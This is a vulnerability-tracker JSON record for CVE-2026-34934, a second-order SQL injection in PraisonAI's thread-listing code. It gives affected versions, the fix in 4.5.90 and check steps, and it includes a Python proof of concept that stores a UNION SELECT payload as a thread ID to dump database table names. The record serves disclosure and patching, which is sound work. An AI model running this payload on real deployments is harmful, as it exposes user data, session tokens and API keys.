{"id":"CVE-2026-34934","kind":"vulnerability","aliases":["CVE-2026-34934","GHSA-9cq8-3v94-434g"],"related":[],"title":"PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`","description":"## Summary\n\nThe `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.\n\n---\n\n## Details\n\n**File Path:**  \n`src/praisonai/praisonai/ui/sql_alchemy.py`\n\n**Flow:**\n- **Source (Line 539):**\n```python\nawait data_layer.update_thread(thread_id=payload, user_id=user)\n```\n\n- **Hop (Line 547):**\n```python\nthread_ids = \"('\" + \"','\".join([t[\"thread_id\"] for t in user_threads]) + \"')\"\n```\n\n- **Sink (Line 576):**\n```sql\nWHERE s.\"threadId\" IN {thread_ids}\n```\n\n---\n\n## Proof of Concept (PoC)\n\n```python\n\nimport asyncio\nfrom praisonai.ui.sql_alchemy import SQLAlchemyDataLayer\n\nasync def run_poc():\n    data_layer = SQLAlchemyDataLayer(conninfo=\"sqlite+aiosqlite:///app.db\")\n\n    # Insert a valid thread\n    await data_layer.update_thread(\n        thread_id=\"valid_thread\", \n        user_id=\"attacker\"\n    )\n\n    # Inject malicious payload\n    payload = \"x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--\"\n\n    await data_layer.update_thread(\n        thread_id=payload, \n        user_id=\"attacker\"\n    )\n\n    # Trigger vulnerable function\n    result = await data_layer.get_all_user_threads(user_id=\"attacker\")\n\n    for thread in result:\n        if getattr(thread, 'id', '') == 'valid_thread':\n            for step in getattr(thread, 'steps', []):\n                print(getattr(step, 'id', ''))\n\nasyncio.run(run_poc())\n\n# Expected Output:\n# sqlite_master table names printed to console\n```\n\n---\n\n## Impact\n\nAn attacker can achieve full database compromise, including:\n\n- Exfiltration of sensitive data (user emails, session tokens, API keys)\n- Access to all conversation histories\n- Ability to modify or delete database contents","summary":"PraisonAI builds a raw SQL query by joining stored thread IDs into the query text, so a thread ID saved through update_thread is executed as SQL when the thread list loads. An attacker who can create threads can read or change any data in the application database, including user emails, session tokens and API keys.","severity":"critical","cvss":9.8,"epss":0.00543,"exploited":false,"exploited_at":null,"products":[{"name":"praisonai","fixed":["4.5.90"],"affected":"<= 4.5.89","ecosystem":"pypi"},{"name":"praison praisonai","fixed":["4.5.90"],"affected":"< 4.5.90","ecosystem":"vendor"},{"via":"cpe","name":"PraisonAI","fixed":["4.5.90"],"affected":"< 4.5.90","ecosystem":"pypi"}],"ecosystems":["pypi","vendor"],"tags":["ai-agents","ai-tooling","cwe-89","praisonai","python","self-hosted"],"not_affected_if":["fixed-version","no-ui-data-layer"],"how_to_check":"- Check whether the installed `praisonai` package is at or below `4.5.89` with `pip show praisonai`.\n- Look for the Chainlit-based UI backend in use via `src/praisonai/praisonai/ui/sql_alchemy.py` in your deployment.","fix":"- `praisonai` `4.5.90`","status":"open","published_at":"2026-04-01T23:20:32+00:00","first_seen_at":"2026-11-16T16:03:24+00:00","triaged_at":"2026-11-16T16:04:39+00:00","updated_at":"2026-11-16T16:08:50+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-11-16T16:04:39Z","model":"claude-haiku-5-5","output":{"fix":"- `praisonai` `4.5.90`","reach":"internet","title":"PraisonAI: stored thread IDs enable SQL injection, exposing the whole database","impact":"high","summary":"PraisonAI builds a raw SQL query by joining stored thread IDs into the query text, so a thread ID saved through update_thread is executed as SQL when the thread list loads. An attacker who can create threads can read or change any data in the application database, including user emails, session tokens and API keys.","audience":"developers","category":"ai-tooling","nicknames":[],"who_cares":["praisonai","python","ai-agents","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"attacker reads and changes the entire application database","analyst_note":"","how_to_check":"- Check whether the installed `praisonai` package is at or below `4.5.89` with `pip show praisonai`.\n- Look for the Chainlit-based UI backend in use via `src/praisonai/praisonai/ui/sql_alchemy.py` in your deployment.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["fixed-version","no-ui-data-layer"],"who_is_affected":"Teams running the PraisonAI UI with its SQLAlchemy data layer, where users can create or update threads. Installations that do not use the UI data layer, or that are on 4.5.90 or later, are not exposed. The sources do not say whether the flaw is reachable without an account.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000814,"input_tokens":5324,"output_tokens":564,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':14A,22A '-34934':15A,23A '-89':35B '/app.db':210C '3v94':19A '434g':20A '539':153C '547':166C '576':181C '9cq8':18A 'abil':335C 'access':145C,330C 'achiev':315C 'agent':30B 'ai':29B,32B 'ai-ag':28B 'ai-tool':31B 'alchemi':198C 'api':95B,328C 'applic':87B,132C 'async':201C 'asyncio':195C 'asyncio.run':299C 'attack':74B,121C,224C,266C,278C,313C 'await':155C,215C,258C,271C 'build':42B 'chang':82B 'compromis':318C 'concept':191C 'conninfo':208C 'consol':310C 'construct':104C 'content':341C 'convers':333C 'creat':77B 'cve':13A,21A 'cwe':34B 'data':84B,205C,323C 'data_layer.get':272C 'data_layer.update':156C,216C,259C 'databas':88B,119C,144C,317C,340C 'def':202C 'delet':339C 'detail':146C 'email':91B,325C 'execut':65B,140C 'exfiltr':320C 'expect':302C 'f':110C 'f-string':109C 'fetch':116C 'file':147C 'flow':150C 'full':143C,316C 'function':103C,269C 'get':9A,99C 'getattr':284C,292C,296C 'ghsa':17A 'ghsa-9cq8-3v94-434g':16A 'grant':142C 'histori':334C 'hop':164C 'host':40B 'id':51B,59B,115C,126C,159C,162C,169C,173C,188C,219C,223C,262C,265C,277C,286C,298C 'impact':311C 'import':194C,199C 'includ':89B,319C 'inject':7A,138C,225C 'insert':211C 'join':48B,170C 'key':96B,329C 'layer':206C 'line':152C,165C,180C 'list':71B,136C 'load':72B,133C 'malici':124C,226C 'master':257C,305C 'modifi':337C 'name':232C,307C 'null':233C,234C,237C,238C,239C,240C,241C,242C,243C,244C,245C,246C,247C,248C,249C,250C,251C,252C,253C,254C 'order':5A 'output':303C 'path':148C 'payload':139C,160C,227C,228C,263C 'poc':192C,204C,301C 'praison':25A 'praisonai':1A,24A,26A,27A,36B,41B 'praisonai.ui.sql':197C 'print':295C,308C 'proof':189C 'python':37B,154C,167C,193C 'queri':46B,54B,107C 'raw':44B,105C 'read':80B 'result':270C,282C 'run':203C,300C 'save':60B 'second':4A 'second-ord':3A 'select':231C 'self':39B 'self-host':38B 'sensit':322C 'session':92B,326C 'sink':179C 'sourc':151C 'sql':6A,45B,67B,106C,182C 'sqlalchemydatalay':200C,207C 'sqlite':209C,256C,304C 'src/praisonai/praisonai/ui/sql_alchemy.py':149C 'step':290C,294C,297C 'store':49B,122C 'string':111C 'summari':97C 'tabl':306C 'text':55B 'thread':12A,50B,58B,63B,70B,78B,102C,114C,125C,129C,135C,157C,158C,168C,172C,178C,187C,214C,217C,218C,221C,236C,260C,261C,275C,280C,285C,288C,293C 'threadid':185C 'token':93B,327C 'tool':33B 'trigger':267C 'unescap':113C 'union':230C 'updat':62B,128C 'use':108C 'user':11A,90B,101C,161C,163C,177C,222C,264C,274C,276C,324C 'valid':213C,220C,235C,287C 'via':127C 'vulner':268C 'x':229C","nicknames":[],"mitigations":[],"who_affected":"Teams running the PraisonAI UI with its SQLAlchemy data layer, where users can create or update threads. Installations that do not use the UI data layer, or that are on 4.5.90 or later, are not exposed. The sources do not say whether the flaw is reachable without an account.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["praisonai","praisonpraisonai"],"ptokens":["praison","praisonai"],"labels":["aiagents","aitooling","critical","cwe89","praisonai","pypi","python","selfhosted","vendor"],"campaign_type":null,"search_a":"'-2026':14A,22A '-34934':15A,23A '3v94':19A '434g':20A '9cq8':18A 'cve':13A,21A 'get':9A 'ghsa':17A 'ghsa-9cq8-3v94-434g':16A 'inject':7A 'order':5A 'praison':25A 'praisonai':1A,24A,26A,27A 'second':4A 'second-ord':3A 'sql':6A 'thread':12A 'user':11A","search_b":"'-89':35B 'agent':30B 'ai':29B,32B 'ai-ag':28B 'ai-tool':31B 'api':95B 'applic':87B 'attack':74B 'build':42B 'chang':82B 'creat':77B 'cwe':34B 'data':84B 'databas':88B 'email':91B 'execut':65B 'host':40B 'id':51B,59B 'includ':89B 'join':48B 'key':96B 'list':71B 'load':72B 'praisonai':36B,41B 'python':37B 'queri':46B,54B 'raw':44B 'read':80B 'save':60B 'self':39B 'self-host':38B 'session':92B 'sql':45B,67B 'store':49B 'text':55B 'thread':50B,58B,63B,70B,78B 'token':93B 'tool':33B 'updat':62B 'user':90B","search_c":"'/app.db':210C '539':153C '547':166C '576':181C 'abil':335C 'access':145C,330C 'achiev':315C 'alchemi':198C 'api':328C 'applic':132C 'async':201C 'asyncio':195C 'asyncio.run':299C 'attack':121C,224C,266C,278C,313C 'await':155C,215C,258C,271C 'compromis':318C 'concept':191C 'conninfo':208C 'consol':310C 'construct':104C 'content':341C 'convers':333C 'data':205C,323C 'data_layer.get':272C 'data_layer.update':156C,216C,259C 'databas':119C,144C,317C,340C 'def':202C 'delet':339C 'detail':146C 'email':325C 'execut':140C 'exfiltr':320C 'expect':302C 'f':110C 'f-string':109C 'fetch':116C 'file':147C 'flow':150C 'full':143C,316C 'function':103C,269C 'get':99C 'getattr':284C,292C,296C 'grant':142C 'histori':334C 'hop':164C 'id':115C,126C,159C,162C,169C,173C,188C,219C,223C,262C,265C,277C,286C,298C 'impact':311C 'import':194C,199C 'includ':319C 'inject':138C,225C 'insert':211C 'join':170C 'key':329C 'layer':206C 'line':152C,165C,180C 'list':136C 'load':133C 'malici':124C,226C 'master':257C,305C 'modifi':337C 'name':232C,307C 'null':233C,234C,237C,238C,239C,240C,241C,242C,243C,244C,245C,246C,247C,248C,249C,250C,251C,252C,253C,254C 'output':303C 'path':148C 'payload':139C,160C,227C,228C,263C 'poc':192C,204C,301C 'praisonai.ui.sql':197C 'print':295C,308C 'proof':189C 'python':154C,167C,193C 'queri':107C 'raw':105C 'result':270C,282C 'run':203C,300C 'select':231C 'sensit':322C 'session':326C 'sink':179C 'sourc':151C 'sql':106C,182C 'sqlalchemydatalay':200C,207C 'sqlite':209C,256C,304C 'src/praisonai/praisonai/ui/sql_alchemy.py':149C 'step':290C,294C,297C 'store':122C 'string':111C 'summari':97C 'tabl':306C 'thread':102C,114C,125C,129C,135C,157C,158C,168C,172C,178C,187C,214C,217C,218C,221C,236C,260C,261C,275C,280C,285C,288C,293C 'threadid':185C 'token':327C 'trigger':267C 'unescap':113C 'union':230C 'updat':128C 'use':108C 'user':101C,161C,163C,177C,222C,264C,274C,276C,324C 'valid':213C,220C,235C,287C 'via':127C 'vulner':268C 'x':229C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-03-31T11:14:22+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9cq8-3v94-434g","url":"https://github.com/advisories/GHSA-9cq8-3v94-434g","severity":"critical","published_at":"2026-04-01T23:20:32+00:00","modified_at":"2026-11-16T15:58:25+00:00","first_seen_at":"2026-11-16T16:03:24+00:00","fetched_at":"2026-11-16T16:07:02+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-34934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34934","severity":null,"published_at":"2026-04-03T23:17:05+00:00","modified_at":"2026-07-24T22:10:00+00:00","first_seen_at":"2026-11-16T16:08:50+00:00","fetched_at":"2026-11-16T16:08:50+00:00","note":null}],"documents":[{"id":170888,"url":"https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-9cq8-3v94-434g","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":170889,"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-03-31T11:14:22+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00543,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34934"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}